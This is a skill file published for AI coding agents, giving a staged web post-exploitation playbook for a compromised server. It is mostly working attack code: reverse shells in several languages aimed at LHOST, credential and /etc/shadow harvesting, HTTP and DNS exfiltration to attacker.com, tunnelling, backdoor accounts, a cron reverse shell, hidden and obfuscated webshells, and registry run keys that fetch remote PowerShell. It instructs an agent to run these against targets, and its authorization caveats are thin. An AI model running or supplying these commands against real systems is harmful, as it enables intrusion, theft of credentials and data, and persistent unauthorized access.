# Web Postexploitation

> Web post-exploitation skill — covers everything after achieving code execution on a web server. Activate when the user has a webshell, reverse shell, or confirmed RCE on a web server and wants to: stabilize the shell, escalate privileges, enumerate the server, exfiltrate data, move laterally, or establish persistence. Also covers PHP disable_functions bypass, webshell obfuscation, and reverse shell generation. Assumes the user has already exploited a vulnerability and needs to maximize access from within the web server context.

- Skill: `douglasrao/web-postexploitation` (Agent Skill)
- Install (CLI): `npx skillmds@latest add douglasrao/web-postexploitation`
- Raw SKILL.md: https://api.skillmd.com/api/skills/douglasrao/web-postexploitation/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: DouglasRao (https://skillmd.com/u/douglasrao)
- Updated: 2026-09-22
- Page: https://skillmd.com/skills/douglasrao/web-postexploitation

---


# Web Post-Exploitation — Kill Chain

## Architecture

This skill is knowledge-driven — it provides commands and workflows for Claude to guide the user
through each post-exploitation stage. Most commands run on the remote target machine via the
established shell or webshell. No automated scripts are needed: commands are contextual and
depend on the specific OS, web server, and access level discovered at runtime.

---

## Initial Setup — Context Required

Before proceeding, establish the current situation:

```
SHELL_TYPE    = webshell URL / reverse shell / bind shell / RCE parameter
TARGET_URL    = base URL of the web application
LHOST         = your attack machine IP (for reverse shells)
LPORT         = your listening port (default: 4444 or 443 for stealth)
WEB_ROOT      = document root on target (e.g., /var/www/html, /home/www, C:\inetpub\wwwroot)
OS            = Linux / Windows (detect via whoami, uname, systeminfo)
WEBSERVER     = Apache / Nginx / IIS / Python / Node.js / PHP-FPM
```

Detect OS and user context immediately:
```bash
# Linux
id && uname -a && cat /etc/os-release 2>/dev/null

# Windows
whoami && systeminfo | findstr /i "os\|host\|domain"
```

Create progress tasks with TaskCreate:
```
"STAGE 1 — Shell Stabilization"
"STAGE 2 — Local Enumeration (users, services, network, files)"
"STAGE 3 — Privilege Escalation"
"STAGE 4 — Credential & Data Harvesting"
"STAGE 5 — Lateral Movement"
"STAGE 6 — Persistence"
"STAGE 7 — Report"
```

---

## Tool Priority

### On attack machine
```
nc / ncat              — listener for reverse shells
rlwrap                 — TTY upgrade for reverse shell
pwncat-cs              — advanced shell handler with auto-TTY upgrade (preferred over nc)
msfvenom               — payload generation (optional, if user approves)
python3                — local HTTP server for file transfer
```

### On target machine (via shell/webshell)
```
python3 / python       — TTY upgrade, reverse shell
bash                   — reverse shell
perl                   — alternative reverse shell
nc / ncat              — bind/reverse shell
curl / wget            — file transfer from attack machine
PowerShell             — Windows reverse shell and enumeration
```

### MCPs (when available)
```
mcp__hexstrike-ai__*   — msfvenom_generate, pwntools_exploit (if Kali MCP connected)
mcp__Notion__*         — publish final report with all findings and exfiltrated evidence
```

---

## Operational Rules

- **Confirm scope** before escalating — ensure full system access is within engagement authorization
- **Minimize forensic footprint** — prefer in-memory payloads, avoid writing to disk unnecessarily
- **Never delete logs** without explicit authorization — it can be destructive and out of scope
- **Document everything** — save all commands and their outputs in `$OUT/postex/`
- **Privilege escalation**: try automated enumeration (linpeas/winpeas) but always verify manually
- **Reverse shells**: prefer encrypted (socat SSL, pwncat-cs) for production engagements

---

## STAGE 1 — Shell Stabilization

### Upgrading a dumb reverse shell to fully interactive TTY (Linux)

```bash
# Method 1: Python PTY (most reliable)
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Then: Ctrl+Z
stty raw -echo; fg
# Then: export TERM=xterm; stty rows 40 cols 200

# Method 2: script
script /dev/null -c bash
# Ctrl+Z → stty raw -echo; fg → export TERM=xterm

# Method 3: socat (requires socat on target)
# Attack machine:
socat file:`tty`,raw,echo=0 tcp-listen:4445
# Target:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:LHOST:4445
```

### Setting up a pwncat listener (preferred)

```bash
# Attack machine — handles TTY upgrade automatically
pwncat-cs -lp 4444
# OR
pwncat-cs -lp 4444 --ssl  # encrypted channel

# After connection, in pwncat:
help           # list available commands
upload <file>  # upload to target
download <file> # download from target
run enumerate  # run enumeration modules
```

### Reverse Shell Payloads (generate based on OS/language available)

**Bash:**
```bash
bash -i >& /dev/tcp/LHOST/LPORT 0>&1
# URL-encoded for webshell:
bash+-i+>%26+/dev/tcp/LHOST/LPORT+0>%261
# Base64 wrapped (bypass filters):
bash -c {echo,BASE64_ENCODED}|{base64,-d}|{bash,-i}
```

**Python:**
```python
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LHOST",LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("bash")'
```

**PHP one-liner:**
```php
php -r '$s=fsockopen("LHOST",LPORT);exec("/bin/sh -i <&3 >&3 2>&3");'
```

**PowerShell (Windows):**
```powershell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('LHOST',LPORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```

**Netcat (with -e):**
```bash
nc LHOST LPORT -e /bin/bash
# Without -e:
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc LHOST LPORT > /tmp/f
```

---

## STAGE 2 — Local Enumeration

Run on the target machine:

### Quick baseline
```bash
# Identity & context
id && whoami && groups

# OS & kernel
uname -a && cat /etc/issue /etc/os-release 2>/dev/null | head -5

# Network
ip addr; ip route; cat /etc/hosts; ss -tulnp 2>/dev/null || netstat -tulnp 2>/dev/null

# Interesting files
ls -la /home /root 2>/dev/null
find /var/www -name "*.conf" -o -name "config.php" -o -name ".env" 2>/dev/null | head -20
find / -name "*.bak" -o -name "*.old" -o -name "id_rsa" 2>/dev/null | grep -v proc | head -20

# Running processes & services
ps aux | grep -v "\[" | head -30
systemctl list-units --type=service --state=running 2>/dev/null | head -20

# SUID binaries (Linux privesc candidates)
find / -perm /4000 -type f 2>/dev/null

# Cron jobs
cat /etc/cron* /etc/cron.d/* /var/spool/cron/* /etc/crontab 2>/dev/null
```

### Automated enumeration (if tools available or can be uploaded)

```bash
# linpeas — download and run in memory
curl -sk https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | bash 2>/dev/null

# Or upload from attack machine (python HTTP server):
# Attack machine: python3 -m http.server 8080
# Target: wget http://LHOST:8080/linpeas.sh -O /tmp/l.sh && chmod +x /tmp/l.sh && /tmp/l.sh
```

---

## STAGE 3 — Privilege Escalation

### Linux — common paths

```bash
# 1. Sudo misconfiguration
sudo -l
# If any binary: check https://gtfobins.github.io/

# 2. SUID exploitation — GTFOBins
find / -perm /4000 -type f 2>/dev/null
# Common exploitable SUIDs: find, nmap, vim, python, perl, bash, less, more, cp, awk

# 3. Writable /etc/passwd
ls -la /etc/passwd && [ -w /etc/passwd ] && echo "WRITABLE — add root user"
# echo 'hacker:$(openssl passwd -1 password):0:0:hacker:/root:/bin/bash' >> /etc/passwd

# 4. Cron jobs with writable scripts
crontab -l 2>/dev/null
# If cronjob runs a script you can write → inject reverse shell

# 5. Kernel exploits — check kernel version against known CVEs
uname -r
# Dirty Cow: 2.6.22 < 4.8.3 (CVE-2016-5195)
# DirtyPipe: 5.8 ≤ 5.16.11 (CVE-2022-0847)
# Baron Samedit: sudo < 1.9.5p2 (CVE-2021-3156)

# 6. Docker / container escape
[ -f /.dockerenv ] && echo "Inside Docker container"
# Check: docker.sock access, cap_sys_admin, privileged containers
ls -la /var/run/docker.sock 2>/dev/null

# 7. NFS no_root_squash
cat /etc/exports 2>/dev/null | grep "no_root_squash"

# 8. PATH hijacking (if sudo runs script without absolute path)
echo $PATH; sudo -l  # check for relative path commands
```

### SeImpersonatePrivilege / SeAssignPrimaryTokenPrivilege (Windows IIS/MSSQL)

```bash
# Check privileges
whoami /priv

# If SeImpersonatePrivilege → try:
# GodPotato (modern, all Windows server versions):
GodPotato.exe -cmd "cmd /c whoami"

# PrintSpoofer (Windows 10/Server 2019+):
PrintSpoofer.exe -i -c powershell

# JuicyPotato (older systems):
JuicyPotato.exe -l 1337 -p cmd.exe -t * -c {CLSID}
```

### PHP disable_functions bypass (webshell context)

When PHP's `system()`, `exec()`, `shell_exec()`, `passthru()` are disabled:

```php
# Method 1: proc_open
<?php
$desc = [["pipe","r"],["pipe","w"],["pipe","w"]];
$p = proc_open($_GET['cmd'], $desc, $pipes);
echo stream_get_contents($pipes[1]);
?>

# Method 2: popen
<?php echo fread(popen($_GET['cmd'],'r'),4096); ?>

# Method 3: mail() with LD_PRELOAD
# (requires sendmail + ability to set env vars)

# Method 4: mod_cgi (Apache) — write .htaccess + CGI script
echo "Options +ExecCGI" > .htaccess
echo "AddHandler cgi-script .cgi" >> .htaccess
# Then upload shell.cgi with execute permission

# Method 5: PHP FFI (PHP 7.4+)
<?php
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system($_GET['cmd'] . " > /tmp/o.txt");
echo file_get_contents("/tmp/o.txt");
?>
```

---

## STAGE 4 — Credential & Data Harvesting

```bash
# Web application config files (database credentials)
grep -rn "password\|passwd\|db_pass\|DB_PASS\|secret\|api_key\|token" \
  /var/www /home /srv /opt 2>/dev/null \
  | grep -v ".js.map\|node_modules\|vendor" | head -40

# Common config locations
find / -name "wp-config.php" -o -name "config.php" \
  -o -name ".env" -o -name "database.yml" \
  -o -name "settings.py" -o -name "application.properties" \
  2>/dev/null | xargs cat 2>/dev/null | grep -i "pass\|secret\|key" | head -30

# SSH private keys
find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" 2>/dev/null | head -10
cat /root/.ssh/id_rsa 2>/dev/null
cat /home/*/.ssh/id_rsa 2>/dev/null

# /etc/shadow (if readable)
cat /etc/shadow 2>/dev/null | head -10

# Browser saved credentials (if desktop environment)
find / -name "Login Data" -o -name "cookies.sqlite" 2>/dev/null | head -5

# Database dump (if credentials found)
# MySQL:
mysqldump -u root -p'PASSWORD' --all-databases 2>/dev/null | gzip > /tmp/db_dump.sql.gz
# PostgreSQL:
pg_dump -U postgres --all-databases > /tmp/pg_dump.sql 2>/dev/null
```

### Exfiltration methods

```bash
# Via HTTP (attack machine runs: python3 -m http.server 8080 in upload dir)
curl -F "file=@/tmp/loot.tar.gz" http://LHOST:8080/upload

# Encode and exfil via DNS (DNS exfil — slow but stealthy)
cat /etc/shadow | xxd -p | tr -d '\n' | fold -w 63 | \
  while read line; do nslookup "$line.attacker.com" >/dev/null 2>&1; done

# Base64 encode for copy-paste exfil
base64 /etc/shadow

# Via SMB (if Windows/Samba available)
smbclient \\\\LHOST\\share -c "put /tmp/loot.tar.gz"
```

---

## STAGE 5 — Lateral Movement

```bash
# Find other hosts on the internal network
ip route
for i in $(seq 1 254); do
  ping -c 1 -W 1 "$(ip route | grep src | awk '{print $1}' | cut -d'/' -f1 | head -c9).$i" \
    >/dev/null 2>&1 && echo "${NETWORK}.$i is up" &
done; wait

# Port scan internal hosts (bash)
for port in 22 80 443 445 3306 3389 5985 8080; do
  (echo > /dev/tcp/TARGET_IP/$port) 2>/dev/null && echo "$port open"
done

# SSH lateral movement (if key found or password known)
ssh -i /tmp/id_rsa user@internal_host
ssh -o StrictHostKeyChecking=no user@internal_host

# Port forwarding via SSH (tunnel internal service to attack machine)
# Attack machine:
ssh -L 8888:127.0.0.1:3306 user@compromised_host  # expose MySQL to localhost:8888
ssh -L 8888:internal_host:80 user@compromised_host  # expose internal web app

# Dynamic SOCKS proxy
ssh -D 1080 user@compromised_host
# Then: proxychains nmap, curl --proxy socks5h://127.0.0.1:1080

# chisel tunneling (no SSH needed)
# Attack machine: chisel server -p 9001 --reverse
# Target: chisel client LHOST:9001 R:8888:127.0.0.1:3306
```

---

## STAGE 6 — Persistence

### Linux

```bash
# Method 1: Add SSH authorized key
mkdir -p /root/.ssh
echo "SSH_PUBLIC_KEY" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

# Method 2: Add backdoor user
useradd -m -s /bin/bash -G sudo backd00r 2>/dev/null
echo "backd00r:Password123!" | chpasswd

# Method 3: Cron reverse shell
echo "*/5 * * * * root bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'" >> /etc/crontab

# Method 4: Persistent webshell (minimize detection)
# PHP webshell with basic auth to prevent accidental discovery:
cat > /var/www/html/.cache.php <<'EOF'
<?php if(md5($_SERVER['HTTP_X_AUTH'])=='HASH_OF_SECRET'){system($_POST['c']);}?>
EOF

# Method 5: LD_PRELOAD hook (advanced — evades basic process monitoring)
```

### Windows

```powershell
# Add admin user
net user backdoor Password123! /add
net localgroup Administrators backdoor /add
net localgroup "Remote Desktop Users" backdoor /add

# Registry run key persistence
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Updater" /t REG_SZ /d "powershell -nop -w hidden -c IEX(New-Object Net.WebClient).downloadString('http://LHOST/payload.ps1')"

# Scheduled task
schtasks /create /tn "WindowsUpdate" /tr "powershell -nop -w hidden -c IEX(IWR http://LHOST/p.ps1)" /sc hourly /ru SYSTEM /f
```

---

## STAGE 7 — Webshell Payloads Reference

### PHP minimal webshells

```php
# Minimal
<?php system($_GET['cmd']); ?>

# POST-based (less visible in access logs)
<?php system($_POST['c']); ?>

# With auth header
<?php if($_SERVER['HTTP_X_KEY']=='SECRET'){system($_POST['c']);}?>

# Disguised as image file (upload bypass)
GIF89a;<?php system($_GET['cmd']); ?>

# base64-encoded eval (bypass string filters)
<?php eval(base64_decode('c3lzdGVtKCRfR0VUWydjbWQnXSk7'));?>
```

### Python (Flask injection)

```python
from flask import request
import os

@app.route('/health')
def health():
    cmd = request.args.get('c', 'id')
    return os.popen(cmd).read()
```

### Node.js (Express injection)

```javascript
app.get('/status/:cmd', (req, res) => {
  const { execSync } = require('child_process');
  res.send(execSync(req.params.cmd).toString());
});
```

### Webshell via Redis

```bash
redis-cli -h TARGET_IP
config set dir /var/www/html
config set dbfilename shell.php
set x "<?php system(\$_GET['cmd']); ?>"
save
```

---

## STAGE 8 — Report

```
## WEB POST-EXPLOITATION REPORT — [TARGET] — [DATE]

### Access Obtained
- Entry point: [vulnerability used — from web-exploitation report]
- Initial shell context: [www-data / nobody / IIS AppPool / etc.]
- Escalated to: [root / SYSTEM / domain user]

### Credentials Harvested
| Source | Type | Value |
|--------|------|-------|
| wp-config.php | DB password | [value obtained] |
| /etc/shadow | root hash | [full hash] |
| SSH key | RSA private key | /root/.ssh/id_rsa |

### Internal Network Access
- Pivoted to: [hosts]
- Tunneled services: [ports/services]

### Data Exfiltrated (as authorized)
- [list of files/data exfiltrated per scope]

### Persistence Mechanisms
- [list of backdoors/users created — remove after engagement]

### Remediation
- Patch the root vulnerability ([link to web-exploitation report])
- Remove all persistence mechanisms immediately after test
- Rotate all discovered credentials
- Audit SUID binaries and sudo configuration
- Review PHP disable_functions and open_basedir settings
```

If Notion MCP is available, publish with `mcp__Notion__notion-create-pages`.
Link back to the web-exploitation report page.

---

## Evidence Capture

Capture and save evidence at every post-exploitation stage. Required for the final report.

```bash
mkdir -p "$OUT/evidence"

# Terminal screenshot (macOS — attack machine)
screencapture -x "$OUT/evidence/postex_$(date +%Y%m%d_%H%M%S)_$STAGE.png"

# Terminal screenshot (Linux)
scrot "$OUT/evidence/postex_$(date +%Y%m%d_%H%M%S)_$STAGE.png"

# Full shell session log (records everything in the terminal)
script -q -a "$OUT/evidence/shell_session_$(date +%Y%m%d_%H%M%S).log"
```

**What to capture per stage:**
- **Stage 1 (Shell)**: stabilized shell screenshot with `id` and `hostname` visible
- **Stage 2 (Enum)**: output of `id`, `sudo -l`, `find / -perm -4000` (SUIDs), `/etc/crontab`
- **Stage 3 (PrivEsc)**: command that escalated privilege + `id` after escalation (before → after)
- **Stage 4 (Creds)**: `.env` / config file with credentials visible — proof of impact
- **Stage 5 (Lateral)**: `chisel` or `ssh -L` output confirming active tunnel + `curl` to internal host
- **Stage 6 (Persistence)**: `crontab -l`, `cat ~/.ssh/authorized_keys`, created backdoor user entry

**Submit to Notion:**
```
mcp__Notion__notion-create-pages  — create post-exploitation page with evidence timeline
mcp__Notion__notion-update-page   — attach screenshots per stage
```

---

## MCP Integration (when available)

### hexstrike-ai (`mcp__hexstrike-ai__*`)
- `msfvenom_generate` — generate payloads
- `pwntools_exploit` — pwntools-based exploitation
- `execute_command` — run commands if Kali MCP is connected and authorized

### Notion (`mcp__Notion__*`)
Publish post-exploitation report. Link to web-exploitation findings page.

---

## Operational Notes

- **Cleanup**: after engagement, list and remove all created backdoors, users, cron entries, and webshells
- **Evidence preservation**: export Burp history, save all commands in a timestamped log
- **Token efficiency**: run commands on target — paste only key outputs back to Claude for analysis
- **PHP obfuscation**: if webshell is detected/removed, use encoded variants but avoid unnecessary complexity
- **Windows AV evasion**: use obfuscated PowerShell, AMSI bypass, or in-memory execution; only if engagement scope explicitly covers AV bypass

